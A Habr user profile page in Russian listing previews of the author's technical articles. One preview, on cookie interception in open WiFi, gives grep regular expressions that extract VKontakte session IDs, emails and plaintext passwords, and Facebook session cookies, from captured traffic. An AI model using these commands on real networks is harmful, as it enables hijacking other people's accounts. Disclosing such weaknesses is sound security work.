Как стать автором
Обновить
7
0
Boba Fett @Boba_Fett

Пользователь

Отправить сообщение

Признаки плохого программиста

Время на прочтение18 мин
Количество просмотров68K

Неспособность рассуждать о коде


«Рассуждать о коде» значит понимать порядок исполнения инструкций («исполнять программу в голове»), зная, каково предназначение кода.

Симптомы

  • Наличие «волшебного», «вуду» кода или кода, который не имеет никакого отношения к целям программы, но всё равно тщательно поддерживается (например, инициализация переменных, которые никогда не используются, вызов функций, не имеющих отношения к цели, создание выходных данных, которые не используются, и т.д.).
  • Многократные вызовы идемпотентных функций (например, вызов save() по нескольку раз, «чтобы уж точно»).
  • Исправление ошибок написанием избыточного кода, который замещает данные, полученные при исполнении неисправного кода.
  • «Йо-йо код», который конвертирует значения в различные представления, а потом конвертирует их обратно ровно в то же представление, с которого начинали (например, преобразование десятичного числа в строку, а потом обратно в десятичное число, или padding строчки с последующим trim'ом).
  • «Бульдозерный код», который создает впечатление рефакторинга посредством разбития кусков кода на процедуры, которые, правда, затем невозможно использовать где-либо еще (высокая когезия).

Читать дальше →
Всего голосов 374: ↑297 и ↓77+220
Комментарии260

Хочется взять и расстрелять, или ликбез о том, почему не стоит использовать make install

Время на прочтение5 мин
Количество просмотров174K
К написанию сей заметки меня сподвигло то, что я устал делать развёрнутые замечания на эту тему в комментариях к статьям, где в качестве части инструкции по сборке и настройке чего-либо для конкретного дистра предлагают выполнить make install.
Суть сводится к тому, что эту команду в виде «make install» или «sudo make install» использовать в современных дистрибутивах нельзя.

Но ведь авторы программ в руководствах по установке пишут, что нужно использовать эту команду, возможно, скажете вы. Да, пишут. Но это лишь означает, что они не знают, какой у вас дистрибутив, и дистрибутив ли это вообще, может, вы вступили в секту и обкурилисьчитались LFS и теперь решили под свою хтоническую систему скомпилять их творение. А make install является универсальным, хоть и зачастую неправильным способом это сделать.

Читать дальше →
Всего голосов 385: ↑339 и ↓46+293
Комментарии186

Как работает новый генератор случайных чисел Intel

Время на прочтение10 мин
Количество просмотров58K


Представьте, что сейчас 1995 год и вы собираетесь совершить первую покупку в онлайне. Вы открываете браузер Netscape и прихлёбываете из чашечки кофе, пока главная страница медленно загружается. Ваш путь лежит на Amazon.com — новый онлайн-магазинчик, о которой рассказал вам друг. Когда наступает этап оформить покупку и ввести персональные данные, адрес в браузере меняется с «http» на «https». Это сигнализирует о том, что компьютер установил зашифрованное соединение с сервером Amazon. Теперь можно передавать серверу данные кредитной карты, не опасаясь мошенников, которые хотят перехватить информацию.

К сожалению, ваша первая покупка в интернете была скомпрометирована с самого начала: вскоре обнаружится, что якобы безопасный протокол, по которому браузер установил соединение, на самом деле не очень защищён.
Читать дальше →
Всего голосов 179: ↑170 и ↓9+161
Комментарии113

Массивы против контейнеров в задачах матмоделирования

Время на прочтение3 мин
Количество просмотров13K

Введение

Так уж сложилось, что моя работа тесно связана с математическим моделированием физических процессов. Математическое моделирование — это совершенно особенная область программирования. Расчет даже относительно простого физического процесса может занимать несколько дней и даже недель. Поэтому на первый план выходит производительность программы, пускай даже в ущерб удобству написания и чтения кода. Однако до недавнего времени быстродействие моих программ меня мало заботило: вполне хватало грубых сеток, для которых расчеты занимали что-то около суток. Но постепенно сетки становились все подробнее, и время работы программ неуклонно росло. Тогда я стал искать узкие места в своей программе. Сначала в алгоритмах. Потом дело дошло до структур данных. И тут меня очень заинтересовал вопрос «а что же лучше использовать для хранения векторов: массивы или контейнеры?»
Читать дальше →
Всего голосов 18: ↑15 и ↓3+12
Комментарии80

Как и почему следует разбивать диск в никсах

Время на прочтение3 мин
Количество просмотров64K
Один из довольно частых вопросов на различных околониксовых ресурсах — вопрос о том, какую схему разбивки дисков использовать. С виду простой вопрос на самом деле таит в себе множество подводных камней. Если, конечно же, дело касается серверов. На десктопах все гораздо скучнее и серее.

Универсального решения в данном вопросе нету, просто есть некоторые аспекты, которыми следует руководствоваться при выборе схемы разбивки.
Читать дальше
Всего голосов 236: ↑213 и ↓23+190
Комментарии141

Выбирая работу, не забудьте выбрать босса

Время на прочтение4 мин
Количество просмотров6.6K
Я ошибался дважды, выбирая работу. Совсем не от того, что неверно выбрал карьеру специалиста в сфере информационных технологий. Это очень, очень, очень интересная работа. Почти как работа капитана космического корабля… ;)

Я выбирал компании, но не выбирал боссов. И в этом состояла моя ошибка. Думаю, что не только моя…
Читать дальше →
Всего голосов 181: ↑157 и ↓24+133
Комментарии107

Перехват cookie в реальном времени в открытых WiFi-сетях

Время на прочтение1 мин
Количество просмотров65K


На видео показан угон сессии вконтакте.ру, который почему-то до сих пор не использует авторизацию с https и передает пароли открытым текстом.
Дамп трафика собирается программой kismac в формате libpcap и параллельно парсится grep-ом с использованием регулярных выражений, что позволяет в реальном времени выводить на экран все интересующие куки и пароли. При этом не используется никаких анализаторов пакетов.

regexp для перехвата вконтакте.ру:

tail -F pcap.файл | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&]+&pass=[^ ]+»

для фейсбука:

c_user=[0-9]+|sid=[0-9]{1,5}|xs=[0-9a-f]{32}

Аналогичная конструкция будет работать и с дампом собранным с помощью airdump-ng.
Всего голосов 173: ↑158 и ↓15+143
Комментарии162

Перенос Linux на другой компьютер

Время на прочтение3 мин
Количество просмотров84K

Вступление


Хочу поделиться собственным опытом переноса системы на другой компьютер, целиком и полностью отличающийся аппаратной конфигурацией.
На самом деле, вариантов перенести систему много. Каждый имеет свой подход. Я же опишу способ, который больше всего подходит для новичков.

Читать дальше →
Всего голосов 27: ↑14 и ↓13+1
Комментарии30

Правило чтения по спирали

Время на прочтение6 мин
Количество просмотров15K
Техника, известная как «Чтение по спирали/по часовой стрелке» (“Clockwise/Spiral Rule”) позволяет любому программисту разобрать любое объявление языка Си.

Следуйте этим простым шагам:
Читать дальше →
Всего голосов 145: ↑132 и ↓13+119
Комментарии42

Работа и аспирантура в Швейцарии

Время на прочтение3 мин
Количество просмотров21K
Здравствуйте, дорогие хабравчане. Так вышло, что около полугода назад у меня получилось устроиться на работу в Швейцарии, в швейцарскую федеральную политехническую школу (EPFL) в Лозанне. К текущему моменту накопилось множество различных впечатлений, о которых я и хочу рассказать.
Читать дальше →
Всего голосов 119: ↑111 и ↓8+103
Комментарии117

Собираем Qt приложения для Symbian'а из-под linux'а

Время на прочтение3 мин
Количество просмотров2.9K
На этот раз собирать будем практически полностью нативными средствами, не используя Nokia remote compiler
Данный метод проверялся на Gentoo-amd64, в результате чего были получены вполне рабочие sis файлы. Огромным преимуществом при сборке из под Linux'а является то, что используется родной make, а не мутная утилита под названием abld. В результате мы получаем такие преимущества, как:
  • Многопоточность
  • Отсутствие лишних шагов в виде обсчета всех зависимостей
  • Отсутствие зависимости от тормозного active perl'а

В итоге скорость сборки увеличивается в разы!
Читать дальше →
Всего голосов 38: ↑31 и ↓7+24
Комментарии6

Под замком

Время на прочтение1 мин
Количество просмотров3.1K
Слово замок пришло к нам из польского языка zamek. Zamek через чешский zámek ведёт к немецкому slōʒ «замок, запор». slōʒ же пошло от латинского clūsa «укрепление». Это я только что прочитал в вики и о происхождении слова «замок» пусть беседуют лингвисты или как их там.
Мы посмотрим на взлом открытие замка, если забыли/потеряли ключи. Существует несколько принципиально разных схем вскрытия замков — отмычкой и бампинг.
Бампинг.
Бампинг — это метод вскрытия, который не повреждает механизм. Метод базируется на заготовке или «бампинг-ключе» и ударном инструменте. В видео в качестве ударника использован молоток, но есть и механические. К примеру, электропикер (ударный пистолет), который может выполнить серию ударов за очень короткое время, что увеличивает вероятность нужного подскока штифтов:

Читать дальше →
Всего голосов 55: ↑37 и ↓18+19
Комментарии66

Препарируем электрическое перо Wacom

Время на прочтение4 мин
Количество просмотров68K
Недавно впервые в истории автором была осуществлена разборка и слесарная доработка пера графического планшета Wacom Volito2 с целью корректировки порога чувствительности к нажиму. После обратной сборки изделие чувствует себя хорошо. Подробности письмом под катом.

внутренности пера Wacom
Читать дальше →
Всего голосов 78: ↑72 и ↓6+66
Комментарии32

Сборка и установка ядра под Debian

Время на прочтение3 мин
Количество просмотров68K
Тут речь идти будет не просто про компиляцию ядра Linux, а про компиляцию ядра и его сборку в deb-пакет. Потом этим deb'ом можно будет поделиться с знакомыми, похвастаться перед любимой девушкой/парнем или просто, при необходимости, использовать повторно.
Читать дальше →
Всего голосов 54: ↑40 и ↓14+26
Комментарии35

Прокрастинация с пользой, или «История о структурированном отлынивании»

Время на прочтение5 мин
Количество просмотров9.2K
Этот текст — перевод старой, но по-прежнему актуальной статьи Джона Перри, посвященной организованному отлыниванию — способу сделать много за счёт того, что не делается что-то самое важное.

Возможно, кто-то сразу вспомнит другие способы снять это «напряжение старта», когда вместо того, чтобы начать то самое, Большое и Важное, берешься за другие, тоже полезные, но не такие срочные и важные дела, или просто дробишь большую задачу на несколько мелких и не страшных. Отлично! Теперь в вашем арсенале ещё на одно средство больше. Расскажите о своих впечатлениях в комментариях.

* * *

Я собирался написать эту статью несколько месяцев. Почему наконец собрался? Может, нашлось свободное время? Нет. Мне ещё надо просмотреть работы студентов и поставить оценки, заполнить бланки заказов на учебники, ответить на предложение Государственного научного фонда, почитать черновики диссертаций. И, чтобы не делать ничего из вышеперечисленного, я пишу эту статью.

В этом заключается суть того, что я называю «организованным отлыниванием». Удивительная стратегия, которую я недавно открыл. Она превращает злостных отлынивателей в эффективных людей, которых уважают и которыми восхищаются за то, что они способны сделать, за пользу, которую они умеют приносить.

Читать дальше →
Всего голосов 50: ↑44 и ↓6+38
Комментарии75

Модуль Views — API. Основы

Время на прочтение6 мин
Количество просмотров11K
Наверняка, многие, работающие с друпалом, знакомы с модулем Views. Как гласит Drupaler.ru, модуль Views — это Настройка и контроль за отображением любого типа контента в любом месте сайта, т.е. он позволяет создавать страницы, блоки, подменять содержимое нод, страниц пользователей и многое другое, формируя контент из любых доступных полей на сайте. Но что делать, когда необходимо вывести информацию, предоставляемую сторонним модулем, и к которой доступа из Views у нас нет?
Читать дальше →
Всего голосов 40: ↑34 и ↓6+28
Комментарии29

Собираем тихий и вместительный домашний сервер

Время на прочтение5 мин
Количество просмотров68K
image
Задача: собрать малогабаритный домашний сервер с четырьмя 3,5-дюймовыми HDD, по возможности тихий. Служить будет в качестве NAS, backup-сервера и торрентокачалки.

Решение
Читать дальше →
Всего голосов 107: ↑100 и ↓7+93
Комментарии164

Интернет-магазин оружия своими руками

Время на прочтение3 мин
Количество просмотров2.3K
Читал несколько постов в рубрике «Мой бизнес», возможно и мой опыт будет кому-то интересен.

Я практически год потратил на создание и организацию работы интернет-магазина оружия. Сейчас, когда я передал этот проект другому человеку, я могу рассказать, как все было, возможно это подтолкнет кого-либо к открытию своего дела.

Итак, обо всем по порядку.
Всего голосов 81: ↑67 и ↓14+53
Комментарии90

Информация

В рейтинге
Не участвует
Откуда
Россия
Зарегистрирован
Активность